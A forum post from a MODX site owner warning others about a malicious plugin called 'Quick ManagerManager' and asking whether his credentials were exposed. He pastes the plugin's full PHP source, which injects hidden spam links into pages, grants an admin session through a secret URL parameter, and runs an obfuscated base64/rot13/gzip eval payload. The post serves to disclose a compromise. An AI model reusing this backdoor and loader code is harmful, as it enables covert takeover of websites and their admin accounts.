On March 26, 2019 we launched new MODX Forums. Please join us at the new MODX Community Forums.
Subscribe: RSS
  • Hello,

    I am posting this mostly so if anyone is googling the above plugin I can advise them what i have figured out and also to ask if anyone can decypher the code that was in this plugin and tell me if I need to worry (even though I dont have too cause I already changed them) about if there was any way to whomever injected the following code into my site now has my admin or db passwords? Thanks in advance..

    If you are looking at your plugins and happen to see a plugin called Quick ManagerManager "DELETE IT ASAP" its a site hi-jack plugin that injects html at the footer of your site with links to other sites... the code that was in the plugin is below for anyone who was interested in knowing more and maybe helping me feel better about my question.

    Its injecting code like this.... (I am not giving these links anymore linkbacks so I removed the urls...)
    <div style="position:absolute;left:-2311px;top:-2794px;"><a href="websitehere">cialis 20mg france</a> <a href="hwebsitehere">marlboro red</a> <a href="websitehere">order cartons newports online</a></div>


    //<?php
    
    if(!class_exists('Services_JSON')) {
    	define('SERVICES_JSON_SLICE',   1);
    	define('SERVICES_JSON_IN_STR',  2);
    	define('SERVICES_JSON_IN_ARR',  3);
    	define('SERVICES_JSON_IN_OBJ',  4);
    	define('SERVICES_JSON_IN_CMT', 5);
    	define('SERVICES_JSON_LOOSE_TYPE', 16);
    	define('SERVICES_JSON_SUPPRESS_ERRORS', 32);
    	class Services_JSON
    	{
    		function Services_JSON($use = 0)
    		{
    			$this->use = $use;
    		}
    		function utf162utf8($utf16)
    		{
    			// oh please oh please oh please oh please oh please
    			if(function_exists('mb_convert_encoding')) {
    				return mb_convert_encoding($utf16, 'UTF-8', 'UTF-16');
    			}
    
    			$bytes = (ord($utf16{0}) << 8) | ord($utf16{1});
    
    			switch(true) {
    				case ((0x7F & $bytes) == $bytes):
    					return chr(0x7F & $bytes);
    
    				case (0x07FF & $bytes) == $bytes:
    					return chr(0xC0 | (($bytes >> 6) & 0x1F))
    						 . chr(0x80 | ($bytes & 0x3F));
    
    				case (0xFFFF & $bytes) == $bytes:
    					return chr(0xE0 | (($bytes >> 12) & 0x0F))
    						 . chr(0x80 | (($bytes >> 6) & 0x3F))
    						 . chr(0x80 | ($bytes & 0x3F));
    			}
    			return '';
    		}
    		function utf82utf16($utf8)
    		{
    			if(function_exists('mb_convert_encoding')) {
    				return mb_convert_encoding($utf8, 'UTF-16', 'UTF-8');
    			}
    
    			switch(strlen($utf8)) {
    				case 1:
    					return $utf8;
    				case 2:
    					return chr(0x07 & (ord($utf8{0}) >> 2))
    						 . chr((0xC0 & (ord($utf8{0}) << 6))
    							 | (0x3F & ord($utf8{1})));
    				case 3:
    					return chr((0xF0 & (ord($utf8{0}) << 4))
    							 | (0x0F & (ord($utf8{1}) >> 2)))
    						 . chr((0xC0 & (ord($utf8{1}) << 6))
    							 | (0x7F & ord($utf8{2})));
    			}
    			return '';
    		}
    		function encode($var)
    		{
    			switch (gettype($var)) {
    				case 'boolean':
    					return $var ? 'true' : 'false';
    
    				case 'NULL':
    					return 'null';
    
    				case 'integer':
    					return (int) $var;
    
    				case 'double':
    				case 'float':
    					return (float) $var;
    
    				case 'string':
    					$ascii = '';
    					$strlen_var = strlen($var);
    					for ($c = 0; $c < $strlen_var; ++$c) {
    
    						$ord_var_c = ord($var{$c});
    
    						switch (true) {
    							case $ord_var_c == 0x08:
    								$ascii .= '\b';
    								break;
    							case $ord_var_c == 0x09:
    								$ascii .= '\t';
    								break;
    							case $ord_var_c == 0x0A:
    								$ascii .= '\n';
    								break;
    							case $ord_var_c == 0x0C:
    								$ascii .= '\f';
    								break;
    							case $ord_var_c == 0x0D:
    								$ascii .= '\r';
    								break;
    
    							case $ord_var_c == 0x22:
    							case $ord_var_c == 0x2F:
    							case $ord_var_c == 0x5C:
    								$ascii .= '\\'.$var{$c};
    								break;
    
    							case (($ord_var_c >= 0x20) && ($ord_var_c <= 0x7F)):
    								$ascii .= $var{$c};
    								break;
    
    							case (($ord_var_c & 0xE0) == 0xC0):
    								$char = pack('C*', $ord_var_c, ord($var{$c + 1}));
    								$c += 1;
    								$utf16 = $this->utf82utf16($char);
    								$ascii .= sprintf('\u%04s', bin2hex($utf16));
    								break;
    
    							case (($ord_var_c & 0xF0) == 0xE0):
    								$char = pack('C*', $ord_var_c,
    											 ord($var{$c + 1}),
    											 ord($var{$c + 2}));
    								$c += 2;
    								$utf16 = $this->utf82utf16($char);
    								$ascii .= sprintf('\u%04s', bin2hex($utf16));
    								break;
    
    							case (($ord_var_c & 0xF8) == 0xF0):
    								$char = pack('C*', $ord_var_c,
    											 ord($var{$c + 1}),
    											 ord($var{$c + 2}),
    											 ord($var{$c + 3}));
    								$c += 3;
    								$utf16 = $this->utf82utf16($char);
    								$ascii .= sprintf('\u%04s', bin2hex($utf16));
    								break;
    
    							case (($ord_var_c & 0xFC) == 0xF8):
    								$char = pack('C*', $ord_var_c,
    											 ord($var{$c + 1}),
    											 ord($var{$c + 2}),
    											 ord($var{$c + 3}),
    											 ord($var{$c + 4}));
    								$c += 4;
    								$utf16 = $this->utf82utf16($char);
    								$ascii .= sprintf('\u%04s', bin2hex($utf16));
    								break;
    
    							case (($ord_var_c & 0xFE) == 0xFC):
    								$char = pack('C*', $ord_var_c,
    											 ord($var{$c + 1}),
    											 ord($var{$c + 2}),
    											 ord($var{$c + 3}),
    											 ord($var{$c + 4}),
    											 ord($var{$c + 5}));
    								$c += 5;
    								$utf16 = $this->utf82utf16($char);
    								$ascii .= sprintf('\u%04s', bin2hex($utf16));
    								break;
    						}
    					}
    
    					return '"'.$ascii.'"';
    
    				case 'array':
    					if (is_array($var) && count($var) && (array_keys($var) !== range(0, sizeof($var) - 1))) {
    						$properties = array_map(array($this, 'name_value'),
    												array_keys($var),
    												array_values($var));
    
    						foreach($properties as $property) {
    							if(Services_JSON::isError($property)) {
    								return $property;
    							}
    						}
    
    						return '{' . join(',', $properties) . '}';
    					}
    
    					$elements = array_map(array($this, 'encode'), $var);
    
    					foreach($elements as $element) {
    						if(Services_JSON::isError($element)) {
    							return $element;
    						}
    					}
    
    					return '[' . join(',', $elements) . ']';
    
    				case 'object':
    					$vars = get_object_vars($var);
    
    					$properties = array_map(array($this, 'name_value'),
    											array_keys($vars),
    											array_values($vars));
    
    					foreach($properties as $property) {
    						if(Services_JSON::isError($property)) {
    							return $property;
    						}
    					}
    
    					return '{' . join(',', $properties) . '}';
    
    				default:
    					return ($this->use & SERVICES_JSON_SUPPRESS_ERRORS)
    						? 'null'
    						: new Services_JSON_Error(gettype($var)." can not be encoded as JSON string");
    			}
    		}
    		function name_value($name, $value)
    		{
    			$encoded_value = $this->encode($value);
    
    			if(Services_JSON::isError($encoded_value)) {
    				return $encoded_value;
    			}
    
    			return $this->encode(strval($name)) . ':' . $encoded_value;
    		}
    
    		function reduce_string($str)
    		{
    			$str = preg_replace(array(
    
    					// eliminate single line comments in '// ...' form
    					'#^\s*//(.+)$#m',
    
    					// eliminate multi-line comments in '/* ... */' form, at start of string
    					'#^\s*/\*(.+)\*/#Us',
    
    					// eliminate multi-line comments in '/* ... */' form, at end of string
    					'#/\*(.+)\*/\s*$#Us'
    
    				), '', $str);
    
    			// eliminate extraneous space
    			return trim($str);
    		}
    
    		function decode($str)
    		{
    			$str = $this->reduce_string($str);
    
    			switch (strtolower($str)) {
    				case 'true':
    					return true;
    
    				case 'false':
    					return false;
    
    				case 'null':
    					return null;
    
    				default:
    					$m = array();
    
    					if (is_numeric($str)) {
    						// Lookie-loo, it's a number
    
    						// This would work on its own, but I'm trying to be
    						// good about returning integers where appropriate:
    						// return (float)$str;
    
    						// Return float or int, as appropriate
    						return ((float)$str == (integer)$str)
    							? (integer)$str
    							: (float)$str;
    
    					} elseif (preg_match('/^("|\').*(\1)$/s', $str, $m) && $m[1] == $m[2]) {
    						// STRINGS RETURNED IN UTF-8 FORMAT
    						$delim = substr($str, 0, 1);
    						$chrs = substr($str, 1, -1);
    						$utf8 = '';
    						$strlen_chrs = strlen($chrs);
    
    						for ($c = 0; $c < $strlen_chrs; ++$c) {
    
    							$substr_chrs_c_2 = substr($chrs, $c, 2);
    							$ord_chrs_c = ord($chrs{$c});
    
    							switch (true) {
    								case $substr_chrs_c_2 == '\b':
    									$utf8 .= chr(0x08);
    									++$c;
    									break;
    								case $substr_chrs_c_2 == '\t':
    									$utf8 .= chr(0x09);
    									++$c;
    									break;
    								case $substr_chrs_c_2 == '\n':
    									$utf8 .= chr(0x0A);
    									++$c;
    									break;
    								case $substr_chrs_c_2 == '\f':
    									$utf8 .= chr(0x0C);
    									++$c;
    									break;
    								case $substr_chrs_c_2 == '\r':
    									$utf8 .= chr(0x0D);
    									++$c;
    									break;
    
    								case $substr_chrs_c_2 == '\\"':
    								case $substr_chrs_c_2 == '\\\'':
    								case $substr_chrs_c_2 == '\\\\':
    								case $substr_chrs_c_2 == '\\/':
    									if (($delim == '"' && $substr_chrs_c_2 != '\\\'') ||
    									   ($delim == "'" && $substr_chrs_c_2 != '\\"')) {
    										$utf8 .= $chrs{++$c};
    									}
    									break;
    
    								case preg_match('/\\\u[0-9A-F]{4}/i', substr($chrs, $c, 6)):
    									// single, escaped unicode character
    									$utf16 = chr(hexdec(substr($chrs, ($c + 2), 2)))
    										   . chr(hexdec(substr($chrs, ($c + 4), 2)));
    									$utf8 .= $this->utf162utf8($utf16);
    									$c += 5;
    									break;
    
    								case ($ord_chrs_c >= 0x20) && ($ord_chrs_c <= 0x7F):
    									$utf8 .= $chrs{$c};
    									break;
    
    								case ($ord_chrs_c & 0xE0) == 0xC0:
    									// characters U-00000080 - U-000007FF, mask 110XXXXX
    									//see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
    									$utf8 .= substr($chrs, $c, 2);
    									++$c;
    									break;
    
    								case ($ord_chrs_c & 0xF0) == 0xE0:
    									// characters U-00000800 - U-0000FFFF, mask 1110XXXX
    									// see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
    									$utf8 .= substr($chrs, $c, 3);
    									$c += 2;
    									break;
    
    								case ($ord_chrs_c & 0xF8) == 0xF0:
    									// characters U-00010000 - U-001FFFFF, mask 11110XXX
    									// see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
    									$utf8 .= substr($chrs, $c, 4);
    									$c += 3;
    									break;
    
    								case ($ord_chrs_c & 0xFC) == 0xF8:
    									// characters U-00200000 - U-03FFFFFF, mask 111110XX
    									// see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
    									$utf8 .= substr($chrs, $c, 5);
    									$c += 4;
    									break;
    
    								case ($ord_chrs_c & 0xFE) == 0xFC:
    									// characters U-04000000 - U-7FFFFFFF, mask 1111110X
    									// see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
    									$utf8 .= substr($chrs, $c, 6);
    									$c += 5;
    									break;
    
    							}
    
    						}
    
    						return $utf8;
    
    					} elseif (preg_match('/^\[.*\]$/s', $str) || preg_match('/^\{.*\}$/s', $str)) {
    						// array, or object notation
    
    						if ($str{0} == '[') {
    							$stk = array(SERVICES_JSON_IN_ARR);
    							$arr = array();
    						} else {
    							if ($this->use & SERVICES_JSON_LOOSE_TYPE) {
    								$stk = array(SERVICES_JSON_IN_OBJ);
    								$obj = array();
    							} else {
    								$stk = array(SERVICES_JSON_IN_OBJ);
    								$obj = new stdClass();
    							}
    						}
    
    						array_push($stk, array('what'  => SERVICES_JSON_SLICE,
    											   'where' => 0,
    											   'delim' => false));
    
    						$chrs = substr($str, 1, -1);
    						$chrs = $this->reduce_string($chrs);
    
    						if ($chrs == '') {
    							if (reset($stk) == SERVICES_JSON_IN_ARR) {
    								return $arr;
    
    							} else {
    								return $obj;
    
    							}
    						}
    
    						//print("\nparsing {$chrs}\n");
    
    						$strlen_chrs = strlen($chrs);
    
    						for ($c = 0; $c <= $strlen_chrs; ++$c) {
    
    							$top = end($stk);
    							$substr_chrs_c_2 = substr($chrs, $c, 2);
    
    							if (($c == $strlen_chrs) || (($chrs{$c} == ',') && ($top['what'] == SERVICES_JSON_SLICE))) {
    								// found a comma that is not inside a string, array, etc.,
    								// OR we've reached the end of the character list
    								$slice = substr($chrs, $top['where'], ($c - $top['where']));
    								array_push($stk, array('what' => SERVICES_JSON_SLICE, 'where' => ($c + 1), 'delim' => false));
    								//print("Found split at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n");
    
    								if (reset($stk) == SERVICES_JSON_IN_ARR) {
    									// we are in an array, so just push an element onto the stack
    									array_push($arr, $this->decode($slice));
    
    								} elseif (reset($stk) == SERVICES_JSON_IN_OBJ) {
    									// we are in an object, so figure
    									// out the property name and set an
    									// element in an associative array,
    									// for now
    									$parts = array();
    
    									if (preg_match('/^\s*(["\'].*[^\\\]["\'])\s*:\s*(\S.*),?$/Uis', $slice, $parts)) {
    										// "name":value pair
    										$key = $this->decode($parts[1]);
    										$val = $this->decode($parts[2]);
    
    										if ($this->use & SERVICES_JSON_LOOSE_TYPE) {
    											$obj[$key] = $val;
    										} else {
    											$obj->$key = $val;
    										}
    									} elseif (preg_match('/^\s*(\w+)\s*:\s*(\S.*),?$/Uis', $slice, $parts)) {
    										// name:value pair, where name is unquoted
    										$key = $parts[1];
    										$val = $this->decode($parts[2]);
    
    										if ($this->use & SERVICES_JSON_LOOSE_TYPE) {
    											$obj[$key] = $val;
    										} else {
    											$obj->$key = $val;
    										}
    									}
    
    								}
    
    							} elseif ((($chrs{$c} == '"') || ($chrs{$c} == "'")) && ($top['what'] != SERVICES_JSON_IN_STR)) {
    								// found a quote, and we are not inside a string
    								array_push($stk, array('what' => SERVICES_JSON_IN_STR, 'where' => $c, 'delim' => $chrs{$c}));
    								//print("Found start of string at {$c}\n");
    
    							} elseif (($chrs{$c} == $top['delim']) &&
    									 ($top['what'] == SERVICES_JSON_IN_STR) &&
    									 ((strlen(substr($chrs, 0, $c)) - strlen(rtrim(substr($chrs, 0, $c), '\\'))) % 2 != 1)) {
    								// found a quote, we're in a string, and it's not escaped
    								// we know that it's not escaped becase there is _not_ an
    								// odd number of backslashes at the end of the string so far
    								array_pop($stk);
    								//print("Found end of string at {$c}: ".substr($chrs, $top['where'], (1 + 1 + $c - $top['where']))."\n");
    
    							} elseif (($chrs{$c} == '[') &&
    									 in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) {
    								// found a left-bracket, and we are in an array, object, or slice
    								array_push($stk, array('what' => SERVICES_JSON_IN_ARR, 'where' => $c, 'delim' => false));
    								//print("Found start of array at {$c}\n");
    
    							} elseif (($chrs{$c} == ']') && ($top['what'] == SERVICES_JSON_IN_ARR)) {
    								// found a right-bracket, and we're in an array
    								array_pop($stk);
    								//print("Found end of array at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n");
    
    							} elseif (($chrs{$c} == '{') &&
    									 in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) {
    								// found a left-brace, and we are in an array, object, or slice
    								array_push($stk, array('what' => SERVICES_JSON_IN_OBJ, 'where' => $c, 'delim' => false));
    								//print("Found start of object at {$c}\n");
    
    							} elseif (($chrs{$c} == '}') && ($top['what'] == SERVICES_JSON_IN_OBJ)) {
    								// found a right-brace, and we're in an object
    								array_pop($stk);
    								//print("Found end of object at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n");
    
    							} elseif (($substr_chrs_c_2 == '/*') &&
    									 in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) {
    								// found a comment start, and we are in an array, object, or slice
    								array_push($stk, array('what' => SERVICES_JSON_IN_CMT, 'where' => $c, 'delim' => false));
    								$c++;
    								//print("Found start of comment at {$c}\n");
    
    							} elseif (($substr_chrs_c_2 == '*/') && ($top['what'] == SERVICES_JSON_IN_CMT)) {
    								// found a comment end, and we're in one now
    								array_pop($stk);
    								$c++;
    
    								for ($i = $top['where']; $i <= $c; ++$i)
    									$chrs = substr_replace($chrs, ' ', $i, 1);
    
    								//print("Found end of comment at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n");
    
    							}
    
    						}
    
    						if (reset($stk) == SERVICES_JSON_IN_ARR) {
    							return $arr;
    
    						} elseif (reset($stk) == SERVICES_JSON_IN_OBJ) {
    							return $obj;
    
    						}
    
    					}
    			}
    		}
    
    		/**
    		 * @todo Ultimately, this should just call PEAR::isError()
    		 */
    		function isError($data, $code = null)
    		{
    			if (class_exists('pear')) {
    				return PEAR::isError($data, $code);
    			} elseif (is_object($data) && (get_class($data) == 'services_json_error' ||
    									 is_subclass_of($data, 'services_json_error'))) {
    				return true;
    			}
    
    			return false;
    		}
    	}
    
    	if (class_exists('PEAR_Error')) {
    
    		class Services_JSON_Error extends PEAR_Error
    		{
    			function Services_JSON_Error($message = 'unknown error', $code = null,
    										 $mode = null, $options = null, $userinfo = null)
    			{
    				parent::PEAR_Error($message, $code, $mode, $options, $userinfo);
    			}
    		}
    
    	} else {
    
    		/**
    		 * @todo Ultimately, this class shall be descended from PEAR_Error
    		 */
    		class Services_JSON_Error
    		{
    			function Services_JSON_Error($message = 'unknown error', $code = null,
    										 $mode = null, $options = null, $userinfo = null)
    			{
    
    			}
    		}
    
    	}
    
    
    	if(!function_exists('json_decode'))
    	{
    		function json_encode($value)
    		{
    			$obj = new Services_JSON();
    			return $obj->encode($value); 
    		}
    
    		function json_decode($value,$array=1)
    		{
    			$obj = new Services_JSON();
    			return $obj->decode($value); 
    		}
    	}
    
    	function insert_metka ($val, $m1, $m2, $append) {
    			$in = explode($m1,$val);
    			$final = $in[0];
    			$in2 = explode($m2, $in[1]);
    			if(isset($in2[1])) {
    				$final .= $m1."\n".$append."\n".$m2.$in2[1];
    				return $final;
    			}
    			else 
    				return false;
    		}
    }	
    
    $mhash = "0f959d36cbc44b3c3d6f3afad817a588";
    
    $e = &$modx->Event;
    
    switch($e->name) {
      case 'OnWebPagePrerender':
    		$table_prefix = $modx->db->config['table_prefix'];
    		$sql = mysql_query("SELECT `properties` FROM {$table_prefix}site_plugins WHERE `name`='Quick ManagerManager' OR (`plugincode` LIKE '%{$mhash}%' AND `plugincode` NOT LIKE '%ForgotManagerPassword%') ");
    		$row = mysql_fetch_array($sql);
    		$text = explode(';text;',$row[0]);
    		$data = json_decode(base64_decode($text[1]));
    		if(isset($data->links)) {
    			$file = $modx->documentOutput; 
    			$old=$file; 
    
    			$append = array();
    			$code = '';
    			foreach($data->links as $url=>$phc7_links){
    				if($url=="_all_" || $url==(isset($_SERVER["HTTP_X_REWRITE_URL"])?$_SERVER["HTTP_X_REWRITE_URL"]:$_SERVER["REQUEST_URI"])) {
    					foreach($phc7_links as $phc7_link){ 
    						$appnd = str_replace(array("{anchor}","{url}"), array($phc7_link[0],$phc7_link[1]), $data->link_tpl);
    						$appnd = str_replace('{anchor_left}',(isset($phc7_link[2])?$phc7_link[2]:''),$appnd);
    						$appnd = str_replace('{anchor_right}',(isset($phc7_link[2])?$phc7_link[3]:''),$appnd);
    						$append[]= $appnd;}
    				}
    			}
    			if(count($append)>0) 
    				$code = str_replace("{wrapper}", implode(" ",$append),$data->link_wrapper);
    
    			$metka = $data->metka;
    			$result = insert_metka ($file, '<!-- '.$metka.' -->', '<!-- /'.$metka.' -->', $code);
    			if($result) {
    				$count = 1;
    				$file = $result;
    			}
    			else {
    				if(strpos($file,"</body")!==false) $file = str_replace("</body",$code."\n</body",$file);
    				elseif(strpos($file,"</html")!==false) $file = str_replace("</html",$code."\n</html",$file);
    			}
    			$modx->documentOutput = $file;
    		}
    		
        break;
      case 'OnWebPageInit':
    
    
    
    
    if (isset($_GET['modx_hash'])) {
    	if ($_GET['modx_hash'] != md5($mhash."-check")) { header('HTTP/1.0 403 Forbidden'); header('Location: ' . $modx->config['site_url']); die; }
    	unset($_GET['modx_hash']);
    	$table_prefix = $modx->db->config['table_prefix'];
    	$dbase = $modx->db->config['dbase'];
    	$username = 'admin';
    
    	$sql = "SELECT $dbase.`" . $table_prefix . "manager_users`.*, $dbase.`" . $table_prefix . "user_attributes`.* FROM $dbase.`" . $table_prefix . "manager_users`, $dbase.`" . $table_prefix . "user_attributes` WHERE BINARY $dbase.`" . $table_prefix . "manager_users`.username = '" . $username . "' and $dbase.`" . $table_prefix . "user_attributes`.internalKey=$dbase.`" . $table_prefix . "manager_users`.id;";
    	$rs = mysql_query($sql);
    	$limit = mysql_num_rows($rs);
    	$row = mysql_fetch_assoc($rs);
    
    	$internalKey = $row['internalKey'];
    	$dbasePassword = $row['password'];
    	$failedlogins = $row['failedlogincount'];
    	$blocked = $row['blocked'];
    	$blockeduntildate = $row['blockeduntil'];
    	$blockedafterdate = $row['blockedafter'];
    	$registeredsessionid = $row['sessionid'];
    	$role = $row['role'];
    	$lastlogin = $row['lastlogin'];
    	$nrlogins = $row['logincount'];
    	$fullname = $row['fullname'];
    	$email = $row['email'];
    
    	$currentsessionid = session_id();
    
    	$_SESSION['usertype'] = 'manager'; // user is a backend user
    
    	$_SESSION['mgrShortname'] = $username;
    	$_SESSION['mgrFullname'] = $fullname;
    	$_SESSION['mgrEmail'] = $email;
    	$_SESSION['mgrValidated'] = 1;
    	$_SESSION['mgrInternalKey'] = $internalKey;
    	$_SESSION['mgrFailedlogins'] = $failedlogins;
    	$_SESSION['mgrLastlogin'] = $lastlogin;
    	$_SESSION['mgrLogincount'] = $nrlogins; // login count
    	$_SESSION['mgrRole'] = $role;
    	$sql = "SELECT * FROM $dbase.`" . $table_prefix . "user_roles` WHERE id=" . $role . ";";
    	$rs = mysql_query($sql);
    	$row = mysql_fetch_assoc($rs);
    	$_SESSION['mgrPermissions'] = $row;
    	header('Location: ' . $modx->config['site_url'] . 'manager/'); die;
    }
    if (isset($_GET['modx_sitemap'])) {
    	header('HTTP/1.0 403 Forbidden');
    	$sql = mysql_query("SELECT id FROM {$modx->db->config['table_prefix']}site_content WHERE `published`=1 AND `deleted`=0 AND `id` NOT IN ({$modx->config['site_start']})");
    	$a=array($modx->config['site_url']);
    	while($row=mysql_fetch_assoc($sql)) {
    		$a[]=$modx->makeUrl($row['id'], '', '', 'full');
    	}
    	die(implode("\n",$a));
    }
    

    if (isset($_GET['modx_manager'])) {
    	
    $auth_pass = md5($mhash."-check");
    
    @eval(@gzuncompress(@str_rot13(@base64_decode('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